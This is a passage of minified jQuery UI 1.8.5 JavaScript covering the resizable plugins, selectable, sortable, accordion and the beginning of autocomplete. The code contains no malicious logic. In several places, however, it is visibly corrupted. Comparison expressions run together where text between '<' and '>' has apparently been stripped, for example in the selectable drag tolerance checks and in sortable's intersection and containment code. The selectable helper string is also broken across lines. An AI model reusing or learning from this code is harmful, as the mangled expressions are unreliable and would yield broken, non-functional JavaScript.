e.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[b,a,c]))},ne:function(b,a,c){return e.extend(this._change.n.apply(this, +arguments),this._change.e.apply(this,[b,a,c]))},nw:function(b,a,c){return e.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[b,a,c]))}},_propagate:function(b,a){e.ui.plugin.call(this,b,[a,this.ui()]);b!="resize"&&this._trigger(b,a,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}});e.extend(e.ui.resizable, +{version:"1.8.5"});e.ui.plugin.add("resizable","alsoResize",{start:function(){var b=e(this).data("resizable").options,a=function(c){e(c).each(function(){var d=e(this);d.data("resizable-alsoresize",{width:parseInt(d.width(),10),height:parseInt(d.height(),10),left:parseInt(d.css("left"),10),top:parseInt(d.css("top"),10),position:d.css("position")})})};if(typeof b.alsoResize=="object"&&!b.alsoResize.parentNode)if(b.alsoResize.length){b.alsoResize=b.alsoResize[0];a(b.alsoResize)}else e.each(b.alsoResize, +function(c){a(c)});else a(b.alsoResize)},resize:function(b,a){var c=e(this).data("resizable");b=c.options;var d=c.originalSize,f=c.originalPosition,g={height:c.size.height-d.height||0,width:c.size.width-d.width||0,top:c.position.top-f.top||0,left:c.position.left-f.left||0},h=function(i,j){e(i).each(function(){var k=e(this),q=e(this).data("resizable-alsoresize"),p={},r=j&&j.length?j:k.parents(a.originalElement[0]).length?["width","height"]:["width","height","top","left"];e.each(r,function(n,o){if((n= +(q[o]||0)+(g[o]||0))&&n>=0)p[o]=n||null});if(e.browser.opera&&/relative/.test(k.css("position"))){c._revertToRelativePosition=true;k.css({position:"absolute",top:"auto",left:"auto"})}k.css(p)})};typeof b.alsoResize=="object"&&!b.alsoResize.nodeType?e.each(b.alsoResize,function(i,j){h(i,j)}):h(b.alsoResize)},stop:function(){var b=e(this).data("resizable"),a=b.options,c=function(d){e(d).each(function(){var f=e(this);f.css({position:f.data("resizable-alsoresize").position})})};if(b._revertToRelativePosition){b._revertToRelativePosition= +false;typeof a.alsoResize=="object"&&!a.alsoResize.nodeType?e.each(a.alsoResize,function(d){c(d)}):c(a.alsoResize)}e(this).removeData("resizable-alsoresize")}});e.ui.plugin.add("resizable","animate",{stop:function(b){var a=e(this).data("resizable"),c=a.options,d=a._proportionallyResizeElements,f=d.length&&/textarea/i.test(d[0].nodeName),g=f&&e.ui.hasScroll(d[0],"left")?0:a.sizeDiff.height;f={width:a.size.width-(f?0:a.sizeDiff.width),height:a.size.height-g};g=parseInt(a.element.css("left"),10)+(a.position.left- +a.originalPosition.left)||null;var h=parseInt(a.element.css("top"),10)+(a.position.top-a.originalPosition.top)||null;a.element.animate(e.extend(f,h&&g?{top:h,left:g}:{}),{duration:c.animateDuration,easing:c.animateEasing,step:function(){var i={width:parseInt(a.element.css("width"),10),height:parseInt(a.element.css("height"),10),top:parseInt(a.element.css("top"),10),left:parseInt(a.element.css("left"),10)};d&&d.length&&e(d[0]).css({width:i.width,height:i.height});a._updateCache(i);a._propagate("resize", +b)}})}});e.ui.plugin.add("resizable","containment",{start:function(){var b=e(this).data("resizable"),a=b.element,c=b.options.containment;if(a=c instanceof e?c.get(0):/parent/.test(c)?a.parent().get(0):c){b.containerElement=e(a);if(/document/.test(c)||c==document){b.containerOffset={left:0,top:0};b.containerPosition={left:0,top:0};b.parentData={element:e(document),left:0,top:0,width:e(document).width(),height:e(document).height()||document.body.parentNode.scrollHeight}}else{var d=e(a),f=[];e(["Top", +"Right","Left","Bottom"]).each(function(i,j){f[i]=m(d.css("padding"+j))});b.containerOffset=d.offset();b.containerPosition=d.position();b.containerSize={height:d.innerHeight()-f[3],width:d.innerWidth()-f[1]};c=b.containerOffset;var g=b.containerSize.height,h=b.containerSize.width;h=e.ui.hasScroll(a,"left")?a.scrollWidth:h;g=e.ui.hasScroll(a)?a.scrollHeight:g;b.parentData={element:a,left:c.left,top:c.top,width:h,height:g}}}},resize:function(b){var a=e(this).data("resizable"),c=a.options,d=a.containerOffset, +f=a.position;b=a._aspectRatio||b.shiftKey;var g={top:0,left:0},h=a.containerElement;if(h[0]!=document&&/static/.test(h.css("position")))g=d;if(f.left<(a._helper?d.left:0)){a.size.width+=a._helper?a.position.left-d.left:a.position.left-g.left;if(b)a.size.height=a.size.width/c.aspectRatio;a.position.left=c.helper?d.left:0}if(f.top<(a._helper?d.top:0)){a.size.height+=a._helper?a.position.top-d.top:a.position.top;if(b)a.size.width=a.size.height*c.aspectRatio;a.position.top=a._helper?d.top:0}a.offset.left= +a.parentData.left+a.position.left;a.offset.top=a.parentData.top+a.position.top;c=Math.abs((a._helper?a.offset.left-g.left:a.offset.left-g.left)+a.sizeDiff.width);d=Math.abs((a._helper?a.offset.top-g.top:a.offset.top-d.top)+a.sizeDiff.height);f=a.containerElement.get(0)==a.element.parent().get(0);g=/relative|absolute/.test(a.containerElement.css("position"));if(f&&g)c-=a.parentData.left;if(c+a.size.width>=a.parentData.width){a.size.width=a.parentData.width-c;if(b)a.size.height=a.size.width/a.aspectRatio}if(d+ +a.size.height>=a.parentData.height){a.size.height=a.parentData.height-d;if(b)a.size.width=a.size.height*a.aspectRatio}},stop:function(){var b=e(this).data("resizable"),a=b.options,c=b.containerOffset,d=b.containerPosition,f=b.containerElement,g=e(b.helper),h=g.offset(),i=g.outerWidth()-b.sizeDiff.width;g=g.outerHeight()-b.sizeDiff.height;b._helper&&!a.animate&&/relative/.test(f.css("position"))&&e(this).css({left:h.left-d.left-c.left,width:i,height:g});b._helper&&!a.animate&&/static/.test(f.css("position"))&& +e(this).css({left:h.left-d.left-c.left,width:i,height:g})}});e.ui.plugin.add("resizable","ghost",{start:function(){var b=e(this).data("resizable"),a=b.options,c=b.size;b.ghost=b.originalElement.clone();b.ghost.css({opacity:0.25,display:"block",position:"relative",height:c.height,width:c.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof a.ghost=="string"?a.ghost:"");b.ghost.appendTo(b.helper)},resize:function(){var b=e(this).data("resizable");b.ghost&&b.ghost.css({position:"relative", +height:b.size.height,width:b.size.width})},stop:function(){var b=e(this).data("resizable");b.ghost&&b.helper&&b.helper.get(0).removeChild(b.ghost.get(0))}});e.ui.plugin.add("resizable","grid",{resize:function(){var b=e(this).data("resizable"),a=b.options,c=b.size,d=b.originalSize,f=b.originalPosition,g=b.axis;a.grid=typeof a.grid=="number"?[a.grid,a.grid]:a.grid;var h=Math.round((c.width-d.width)/(a.grid[0]||1))*(a.grid[0]||1);a=Math.round((c.height-d.height)/(a.grid[1]||1))*(a.grid[1]||1);if(/^(se|s|e)$/.test(g)){b.size.width= +d.width+h;b.size.height=d.height+a}else if(/^(ne)$/.test(g)){b.size.width=d.width+h;b.size.height=d.height+a;b.position.top=f.top-a}else{if(/^(sw)$/.test(g)){b.size.width=d.width+h;b.size.height=d.height+a}else{b.size.width=d.width+h;b.size.height=d.height+a;b.position.top=f.top-a}b.position.left=f.left-h}}});var m=function(b){return parseInt(b,10)||0},l=function(b){return!isNaN(parseInt(b,10))}})(jQuery); +;/* + * jQuery UI Selectable 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Selectables + * + * Depends: + * jquery.ui.core.js + * jquery.ui.mouse.js + * jquery.ui.widget.js + */ +(function(e){e.widget("ui.selectable",e.ui.mouse,{options:{appendTo:"body",autoRefresh:true,distance:0,filter:"*",tolerance:"touch"},_create:function(){var c=this;this.element.addClass("ui-selectable");this.dragged=false;var f;this.refresh=function(){f=e(c.options.filter,c.element[0]);f.each(function(){var d=e(this),b=d.offset();e.data(this,"selectable-item",{element:this,$element:d,left:b.left,top:b.top,right:b.left+d.outerWidth(),bottom:b.top+d.outerHeight(),startselected:false,selected:d.hasClass("ui-selected"), +selecting:d.hasClass("ui-selecting"),unselecting:d.hasClass("ui-unselecting")})})};this.refresh();this.selectees=f.addClass("ui-selectee");this._mouseInit();this.helper=e("
")},destroy:function(){this.selectees.removeClass("ui-selectee").removeData("selectable-item");this.element.removeClass("ui-selectable ui-selectable-disabled").removeData("selectable").unbind(".selectable");this._mouseDestroy();return this},_mouseStart:function(c){var f=this;this.opos=[c.pageX, +c.pageY];if(!this.options.disabled){var d=this.options;this.selectees=e(d.filter,this.element[0]);this._trigger("start",c);e(d.appendTo).append(this.helper);this.helper.css({left:c.clientX,top:c.clientY,width:0,height:0});d.autoRefresh&&this.refresh();this.selectees.filter(".ui-selected").each(function(){var b=e.data(this,"selectable-item");b.startselected=true;if(!c.metaKey){b.$element.removeClass("ui-selected");b.selected=false;b.$element.addClass("ui-unselecting");b.unselecting=true;f._trigger("unselecting", +c,{unselecting:b.element})}});e(c.target).parents().andSelf().each(function(){var b=e.data(this,"selectable-item");if(b){var g=!c.metaKey||!b.$element.hasClass("ui-selected");b.$element.removeClass(g?"ui-unselecting":"ui-selected").addClass(g?"ui-selecting":"ui-unselecting");b.unselecting=!g;b.selecting=g;(b.selected=g)?f._trigger("selecting",c,{selecting:b.element}):f._trigger("unselecting",c,{unselecting:b.element});return false}})}},_mouseDrag:function(c){var f=this;this.dragged=true;if(!this.options.disabled){var d= +this.options,b=this.opos[0],g=this.opos[1],h=c.pageX,i=c.pageY;if(b>h){var j=h;h=b;b=j}if(g>i){j=i;i=g;g=j}this.helper.css({left:b,top:g,width:h-b,height:i-g});this.selectees.each(function(){var a=e.data(this,"selectable-item");if(!(!a||a.element==f.element[0])){var k=false;if(d.tolerance=="touch")k=!(a.left>h||a.righti||a.bottomb&&a.rightg&&a.bottom *",opacity:false,placeholder:false,revert:false,scroll:true,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1E3},_create:function(){this.containerCache={};this.element.addClass("ui-sortable"); +this.refresh();this.floating=this.items.length?/left|right/.test(this.items[0].item.css("float")):false;this.offset=this.element.offset();this._mouseInit()},destroy:function(){this.element.removeClass("ui-sortable ui-sortable-disabled").removeData("sortable").unbind(".sortable");this._mouseDestroy();for(var a=this.items.length-1;a>=0;a--)this.items[a].item.removeData("sortable-item");return this},_setOption:function(a,b){if(a==="disabled"){this.options[a]=b;this.widget()[b?"addClass":"removeClass"]("ui-sortable-disabled")}else d.Widget.prototype._setOption.apply(this, +arguments)},_mouseCapture:function(a,b){if(this.reverting)return false;if(this.options.disabled||this.options.type=="static")return false;this._refreshItems(a);var c=null,e=this;d(a.target).parents().each(function(){if(d.data(this,"sortable-item")==e){c=d(this);return false}});if(d.data(a.target,"sortable-item")==e)c=d(a.target);if(!c)return false;if(this.options.handle&&!b){var f=false;d(this.options.handle,c).find("*").andSelf().each(function(){if(this==a.target)f=true});if(!f)return false}this.currentItem= +c;this._removeCurrentsFromItems();return true},_mouseStart:function(a,b,c){b=this.options;var e=this;this.currentContainer=this;this.refreshPositions();this.helper=this._createHelper(a);this._cacheHelperProportions();this._cacheMargins();this.scrollParent=this.helper.scrollParent();this.offset=this.currentItem.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};this.helper.css("position","absolute");this.cssPosition=this.helper.css("position");d.extend(this.offset, +{click:{left:a.pageX-this.offset.left,top:a.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this._generatePosition(a);this.originalPageX=a.pageX;this.originalPageY=a.pageY;b.cursorAt&&this._adjustOffsetFromHelper(b.cursorAt);this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]};this.helper[0]!=this.currentItem[0]&&this.currentItem.hide();this._createPlaceholder();b.containment&&this._setContainment(); +if(b.cursor){if(d("body").css("cursor"))this._storedCursor=d("body").css("cursor");d("body").css("cursor",b.cursor)}if(b.opacity){if(this.helper.css("opacity"))this._storedOpacity=this.helper.css("opacity");this.helper.css("opacity",b.opacity)}if(b.zIndex){if(this.helper.css("zIndex"))this._storedZIndex=this.helper.css("zIndex");this.helper.css("zIndex",b.zIndex)}if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML")this.overflowOffset=this.scrollParent.offset();this._trigger("start", +a,this._uiHash());this._preserveHelperProportions||this._cacheHelperProportions();if(!c)for(c=this.containers.length-1;c>=0;c--)this.containers[c]._trigger("activate",a,e._uiHash(this));if(d.ui.ddmanager)d.ui.ddmanager.current=this;d.ui.ddmanager&&!b.dropBehaviour&&d.ui.ddmanager.prepareOffsets(this,a);this.dragging=true;this.helper.addClass("ui-sortable-helper");this._mouseDrag(a);return true},_mouseDrag:function(a){this.position=this._generatePosition(a);this.positionAbs=this._convertPositionTo("absolute"); +if(!this.lastPositionAbs)this.lastPositionAbs=this.positionAbs;if(this.options.scroll){var b=this.options,c=false;if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"){if(this.overflowOffset.top+this.scrollParent[0].offsetHeight-a.pageY=0;b--){c=this.items[b];var e=c.item[0],f=this._intersectsWithPointer(c);if(f)if(e!=this.currentItem[0]&&this.placeholder[f==1?"next":"prev"]()[0]!=e&&!d.ui.contains(this.placeholder[0],e)&&(this.options.type=="semi-dynamic"?!d.ui.contains(this.element[0],e):true)){this.direction=f==1?"down":"up";if(this.options.tolerance=="pointer"||this._intersectsWithSides(c))this._rearrange(a, +c);else break;this._trigger("change",a,this._uiHash());break}}this._contactContainers(a);d.ui.ddmanager&&d.ui.ddmanager.drag(this,a);this._trigger("sort",a,this._uiHash());this.lastPositionAbs=this.positionAbs;return false},_mouseStop:function(a,b){if(a){d.ui.ddmanager&&!this.options.dropBehaviour&&d.ui.ddmanager.drop(this,a);if(this.options.revert){var c=this;b=c.placeholder.offset();c.reverting=true;d(this.helper).animate({left:b.left-this.offset.parent.left-c.margins.left+(this.offsetParent[0]== +document.body?0:this.offsetParent[0].scrollLeft),top:b.top-this.offset.parent.top-c.margins.top+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollTop)},parseInt(this.options.revert,10)||500,function(){c._clear(a)})}else this._clear(a,b);return false}},cancel:function(){var a=this;if(this.dragging){this._mouseUp();this.options.helper=="original"?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"):this.currentItem.show();for(var b=this.containers.length-1;b>=0;b--){this.containers[b]._trigger("deactivate", +null,a._uiHash(this));if(this.containers[b].containerCache.over){this.containers[b]._trigger("out",null,a._uiHash(this));this.containers[b].containerCache.over=0}}}this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]);this.options.helper!="original"&&this.helper&&this.helper[0].parentNode&&this.helper.remove();d.extend(this,{helper:null,dragging:false,reverting:false,_noFinalSort:null});this.domPosition.prev?d(this.domPosition.prev).after(this.currentItem): +d(this.domPosition.parent).prepend(this.currentItem);return this},serialize:function(a){var b=this._getItemsAsjQuery(a&&a.connected),c=[];a=a||{};d(b).each(function(){var e=(d(a.item||this).attr(a.attribute||"id")||"").match(a.expression||/(.+)[-=_](.+)/);if(e)c.push((a.key||e[1]+"[]")+"="+(a.key&&a.expression?e[1]:e[2]))});!c.length&&a.key&&c.push(a.key+"=");return c.join("&")},toArray:function(a){var b=this._getItemsAsjQuery(a&&a.connected),c=[];a=a||{};b.each(function(){c.push(d(a.item||this).attr(a.attribute|| +"id")||"")});return c},_intersectsWith:function(a){var b=this.positionAbs.left,c=b+this.helperProportions.width,e=this.positionAbs.top,f=e+this.helperProportions.height,g=a.left,h=g+a.width,i=a.top,k=i+a.height,j=this.offset.click.top,l=this.offset.click.left;j=e+j>i&&e+jg&&b+la[this.floating?"width":"height"]?j:g0?"down":"up")}, +_getDragHorizontalDirection:function(){var a=this.positionAbs.left-this.lastPositionAbs.left;return a!=0&&(a>0?"right":"left")},refresh:function(a){this._refreshItems(a);this.refreshPositions();return this},_connectWith:function(){var a=this.options;return a.connectWith.constructor==String?[a.connectWith]:a.connectWith},_getItemsAsjQuery:function(a){var b=[],c=[],e=this._connectWith();if(e&&a)for(a=e.length-1;a>=0;a--)for(var f=d(e[a]),g=f.length-1;g>=0;g--){var h=d.data(f[g],"sortable");if(h&&h!= +this&&!h.options.disabled)c.push([d.isFunction(h.options.items)?h.options.items.call(h.element):d(h.options.items,h.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),h])}c.push([d.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):d(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]);for(a=c.length-1;a>=0;a--)c[a][0].each(function(){b.push(this)});return d(b)},_removeCurrentsFromItems:function(){for(var a= +this.currentItem.find(":data(sortable-item)"),b=0;b=0;f--)for(var g=d(e[f]),h=g.length-1;h>=0;h--){var i=d.data(g[h],"sortable"); +if(i&&i!=this&&!i.options.disabled){c.push([d.isFunction(i.options.items)?i.options.items.call(i.element[0],a,{item:this.currentItem}):d(i.options.items,i.element),i]);this.containers.push(i)}}for(f=c.length-1;f>=0;f--){a=c[f][1];e=c[f][0];h=0;for(g=e.length;h= +0;b--){var c=this.items[b],e=this.options.toleranceElement?d(this.options.toleranceElement,c.item):c.item;if(!a){c.width=e.outerWidth();c.height=e.outerHeight()}e=e.offset();c.left=e.left;c.top=e.top}if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(b=this.containers.length-1;b>=0;b--){e=this.containers[b].element.offset();this.containers[b].containerCache.left=e.left;this.containers[b].containerCache.top=e.top;this.containers[b].containerCache.width= +this.containers[b].element.outerWidth();this.containers[b].containerCache.height=this.containers[b].element.outerHeight()}return this},_createPlaceholder:function(a){var b=a||this,c=b.options;if(!c.placeholder||c.placeholder.constructor==String){var e=c.placeholder;c.placeholder={element:function(){var f=d(document.createElement(b.currentItem[0].nodeName)).addClass(e||b.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper")[0];if(!e)f.style.visibility="hidden";return f}, +update:function(f,g){if(!(e&&!c.forcePlaceholderSize)){g.height()||g.height(b.currentItem.innerHeight()-parseInt(b.currentItem.css("paddingTop")||0,10)-parseInt(b.currentItem.css("paddingBottom")||0,10));g.width()||g.width(b.currentItem.innerWidth()-parseInt(b.currentItem.css("paddingLeft")||0,10)-parseInt(b.currentItem.css("paddingRight")||0,10))}}}}b.placeholder=d(c.placeholder.element.call(b.element,b.currentItem));b.currentItem.after(b.placeholder);c.placeholder.update(b,b.placeholder)},_contactContainers:function(a){for(var b= +null,c=null,e=this.containers.length-1;e>=0;e--)if(!d.ui.contains(this.currentItem[0],this.containers[e].element[0]))if(this._intersectsWith(this.containers[e].containerCache)){if(!(b&&d.ui.contains(this.containers[e].element[0],b.element[0]))){b=this.containers[e];c=e}}else if(this.containers[e].containerCache.over){this.containers[e]._trigger("out",a,this._uiHash(this));this.containers[e].containerCache.over=0}if(b)if(this.containers.length===1){this.containers[c]._trigger("over",a,this._uiHash(this)); +this.containers[c].containerCache.over=1}else if(this.currentContainer!=this.containers[c]){b=1E4;e=null;for(var f=this.positionAbs[this.containers[c].floating?"left":"top"],g=this.items.length-1;g>=0;g--)if(d.ui.contains(this.containers[c].element[0],this.items[g].item[0])){var h=this.items[g][this.containers[c].floating?"left":"top"];if(Math.abs(h-f)this.containment[2])f=this.containment[2]+this.offset.click.left;if(a.pageY-this.offset.click.top>this.containment[3])g=this.containment[3]+this.offset.click.top}if(b.grid){g=this.originalPageY+Math.round((g-this.originalPageY)/b.grid[1])*b.grid[1];g=this.containment?!(g-this.offset.click.topthis.containment[3])? +g:!(g-this.offset.click.topthis.containment[2])?f:!(f-this.offset.click.left=0;e--)if(d.ui.contains(this.containers[e].element[0],this.currentItem[0])&&!b){c.push(function(f){return function(g){f._trigger("receive", +g,this._uiHash(this))}}.call(this,this.containers[e]));c.push(function(f){return function(g){f._trigger("update",g,this._uiHash(this))}}.call(this,this.containers[e]))}}for(e=this.containers.length-1;e>=0;e--){b||c.push(function(f){return function(g){f._trigger("deactivate",g,this._uiHash(this))}}.call(this,this.containers[e]));if(this.containers[e].containerCache.over){c.push(function(f){return function(g){f._trigger("out",g,this._uiHash(this))}}.call(this,this.containers[e]));this.containers[e].containerCache.over= +0}}this._storedCursor&&d("body").css("cursor",this._storedCursor);this._storedOpacity&&this.helper.css("opacity",this._storedOpacity);if(this._storedZIndex)this.helper.css("zIndex",this._storedZIndex=="auto"?"":this._storedZIndex);this.dragging=false;if(this.cancelHelperRemoval){if(!b){this._trigger("beforeStop",a,this._uiHash());for(e=0;e li > :first-child,> :not(li):even",icons:{header:"ui-icon-triangle-1-e",headerSelected:"ui-icon-triangle-1-s"},navigation:false,navigationFilter:function(){return this.href.toLowerCase()===location.href.toLowerCase()}},_create:function(){var a=this,b=a.options;a.running=0;a.element.addClass("ui-accordion ui-widget ui-helper-reset").children("li").addClass("ui-accordion-li-fix"); +a.headers=a.element.find(b.header).addClass("ui-accordion-header ui-helper-reset ui-state-default ui-corner-all").bind("mouseenter.accordion",function(){b.disabled||c(this).addClass("ui-state-hover")}).bind("mouseleave.accordion",function(){b.disabled||c(this).removeClass("ui-state-hover")}).bind("focus.accordion",function(){b.disabled||c(this).addClass("ui-state-focus")}).bind("blur.accordion",function(){b.disabled||c(this).removeClass("ui-state-focus")});a.headers.next().addClass("ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom"); +if(b.navigation){var d=a.element.find("a").filter(b.navigationFilter).eq(0);if(d.length){var f=d.closest(".ui-accordion-header");a.active=f.length?f:d.closest(".ui-accordion-content").prev()}}a.active=a._findActive(a.active||b.active).addClass("ui-state-default ui-state-active").toggleClass("ui-corner-all ui-corner-top");a.active.next().addClass("ui-accordion-content-active");a._createIcons();a.resize();a.element.attr("role","tablist");a.headers.attr("role","tab").bind("keydown.accordion",function(g){return a._keydown(g)}).next().attr("role", +"tabpanel");a.headers.not(a.active||"").attr({"aria-expanded":"false",tabIndex:-1}).next().hide();a.active.length?a.active.attr({"aria-expanded":"true",tabIndex:0}):a.headers.eq(0).attr("tabIndex",0);c.browser.safari||a.headers.find("a").attr("tabIndex",-1);b.event&&a.headers.bind(b.event.split(" ").join(".accordion ")+".accordion",function(g){a._clickHandler.call(a,g,this);g.preventDefault()})},_createIcons:function(){var a=this.options;if(a.icons){c("").addClass("ui-icon "+a.icons.header).prependTo(this.headers); +this.active.children(".ui-icon").toggleClass(a.icons.header).toggleClass(a.icons.headerSelected);this.element.addClass("ui-accordion-icons")}},_destroyIcons:function(){this.headers.children(".ui-icon").remove();this.element.removeClass("ui-accordion-icons")},destroy:function(){var a=this.options;this.element.removeClass("ui-accordion ui-widget ui-helper-reset").removeAttr("role");this.headers.unbind(".accordion").removeClass("ui-accordion-header ui-accordion-disabled ui-helper-reset ui-state-default ui-corner-all ui-state-active ui-state-disabled ui-corner-top").removeAttr("role").removeAttr("aria-expanded").removeAttr("tabIndex"); +this.headers.find("a").removeAttr("tabIndex");this._destroyIcons();var b=this.headers.next().css("display","").removeAttr("role").removeClass("ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active ui-accordion-disabled ui-state-disabled");if(a.autoHeight||a.fillHeight)b.css("height","");return c.Widget.prototype.destroy.call(this)},_setOption:function(a,b){c.Widget.prototype._setOption.apply(this,arguments);a=="active"&&this.activate(b);if(a=="icons"){this._destroyIcons(); +b&&this._createIcons()}if(a=="disabled")this.headers.add(this.headers.next())[b?"addClass":"removeClass"]("ui-accordion-disabled ui-state-disabled")},_keydown:function(a){if(!(this.options.disabled||a.altKey||a.ctrlKey)){var b=c.ui.keyCode,d=this.headers.length,f=this.headers.index(a.target),g=false;switch(a.keyCode){case b.RIGHT:case b.DOWN:g=this.headers[(f+1)%d];break;case b.LEFT:case b.UP:g=this.headers[(f-1+d)%d];break;case b.SPACE:case b.ENTER:this._clickHandler({target:a.target},a.target); +a.preventDefault()}if(g){c(a.target).attr("tabIndex",-1);c(g).attr("tabIndex",0);g.focus();return false}return true}},resize:function(){var a=this.options,b;if(a.fillSpace){if(c.browser.msie){var d=this.element.parent().css("overflow");this.element.parent().css("overflow","hidden")}b=this.element.parent().height();c.browser.msie&&this.element.parent().css("overflow",d);this.headers.each(function(){b-=c(this).outerHeight(true)});this.headers.next().each(function(){c(this).height(Math.max(0,b-c(this).innerHeight()+ +c(this).height()))}).css("overflow","auto")}else if(a.autoHeight){b=0;this.headers.next().each(function(){b=Math.max(b,c(this).height("").height())}).height(b)}return this},activate:function(a){this.options.active=a;a=this._findActive(a)[0];this._clickHandler({target:a},a);return this},_findActive:function(a){return a?typeof a==="number"?this.headers.filter(":eq("+a+")"):this.headers.not(this.headers.not(a)):a===false?c([]):this.headers.filter(":eq(0)")},_clickHandler:function(a,b){var d=this.options; +if(!d.disabled)if(a.target){a=c(a.currentTarget||b);b=a[0]===this.active[0];d.active=d.collapsible&&b?false:this.headers.index(a);if(!(this.running||!d.collapsible&&b)){this.active.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(d.icons.headerSelected).addClass(d.icons.header);if(!b){a.removeClass("ui-state-default ui-corner-all").addClass("ui-state-active ui-corner-top").children(".ui-icon").removeClass(d.icons.header).addClass(d.icons.headerSelected); +a.next().addClass("ui-accordion-content-active")}h=a.next();f=this.active.next();g={options:d,newHeader:b&&d.collapsible?c([]):a,oldHeader:this.active,newContent:b&&d.collapsible?c([]):h,oldContent:f};d=this.headers.index(this.active[0])>this.headers.index(a[0]);this.active=b?c([]):a;this._toggle(h,f,g,b,d)}}else if(d.collapsible){this.active.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(d.icons.headerSelected).addClass(d.icons.header); +this.active.next().addClass("ui-accordion-content-active");var f=this.active.next(),g={options:d,newHeader:c([]),oldHeader:d.active,newContent:c([]),oldContent:f},h=this.active=c([]);this._toggle(h,f,g)}},_toggle:function(a,b,d,f,g){var h=this,e=h.options;h.toShow=a;h.toHide=b;h.data=d;var j=function(){if(h)return h._completed.apply(h,arguments)};h._trigger("changestart",null,h.data);h.running=b.size()===0?a.size():b.size();if(e.animated){d={};d=e.collapsible&&f?{toShow:c([]),toHide:b,complete:j, +down:g,autoHeight:e.autoHeight||e.fillSpace}:{toShow:a,toHide:b,complete:j,down:g,autoHeight:e.autoHeight||e.fillSpace};if(!e.proxied)e.proxied=e.animated;if(!e.proxiedDuration)e.proxiedDuration=e.duration;e.animated=c.isFunction(e.proxied)?e.proxied(d):e.proxied;e.duration=c.isFunction(e.proxiedDuration)?e.proxiedDuration(d):e.proxiedDuration;f=c.ui.accordion.animations;var i=e.duration,k=e.animated;if(k&&!f[k]&&!c.easing[k])k="slide";f[k]||(f[k]=function(l){this.slide(l,{easing:k,duration:i||700})}); +f[k](d)}else{if(e.collapsible&&f)a.toggle();else{b.hide();a.show()}j(true)}b.prev().attr({"aria-expanded":"false",tabIndex:-1}).blur();a.prev().attr({"aria-expanded":"true",tabIndex:0}).focus()},_completed:function(a){this.running=a?0:--this.running;if(!this.running){this.options.clearStyle&&this.toShow.add(this.toHide).css({height:"",overflow:""});this.toHide.removeClass("ui-accordion-content-active");this._trigger("change",null,this.data)}}});c.extend(c.ui.accordion,{version:"1.8.5",animations:{slide:function(a, +b){a=c.extend({easing:"swing",duration:300},a,b);if(a.toHide.size())if(a.toShow.size()){var d=a.toShow.css("overflow"),f=0,g={},h={},e;b=a.toShow;e=b[0].style.width;b.width(parseInt(b.parent().width(),10)-parseInt(b.css("paddingLeft"),10)-parseInt(b.css("paddingRight"),10)-(parseInt(b.css("borderLeftWidth"),10)||0)-(parseInt(b.css("borderRightWidth"),10)||0));c.each(["height","paddingTop","paddingBottom"],function(j,i){h[i]="hide";j=(""+c.css(a.toShow[0],i)).match(/^([\d+-.]+)(.*)$/);g[i]={value:j[1], +unit:j[2]||"px"}});a.toShow.css({height:0,overflow:"hidden"}).show();a.toHide.filter(":hidden").each(a.complete).end().filter(":visible").animate(h,{step:function(j,i){if(i.prop=="height")f=i.end-i.start===0?0:(i.now-i.start)/(i.end-i.start);a.toShow[0].style[i.prop]=f*g[i.prop].value+g[i.prop].unit},duration:a.duration,easing:a.easing,complete:function(){a.autoHeight||a.toShow.css("height","");a.toShow.css({width:e,overflow:d});a.complete()}})}else a.toHide.animate({height:"hide",paddingTop:"hide", +paddingBottom:"hide"},a);else a.toShow.animate({height:"show",paddingTop:"show",paddingBottom:"show"},a)},bounceslide:function(a){this.slide(a,{easing:a.down?"easeOutBounce":"swing",duration:a.down?1E3:200})}}})})(jQuery); +;/* + * jQuery UI Autocomplete 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Autocomplete + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + * jquery.ui.position.js + */ +(function(e){e.widget("ui.autocomplete",{options:{appendTo:"body",delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null},_create:function(){var a=this,b=this.element[0].ownerDocument;this.element.addClass("ui-autocomplete-input").attr("autocomplete","off").attr({role:"textbox","aria-autocomplete":"list","aria-haspopup":"true"}).bind("keydown.autocomplete",function(c){if(!a.options.disabled){var d=e.ui.keyCode;switch(c.keyCode){case d.PAGE_UP:a._move("previousPage", +c);break;case d.PAGE_DOWN:a._move("nextPage",c);break;case d.UP:a._move("previous",c);c.preventDefault();break;case d.DOWN:a._move("next",c);c.preventDefault();break;case d.ENTER:case d.NUMPAD_ENTER:a.menu.element.is(":visible")&&c.preventDefault();case d.TAB:if(!a.menu.active)return;a.menu.select(c);break;case 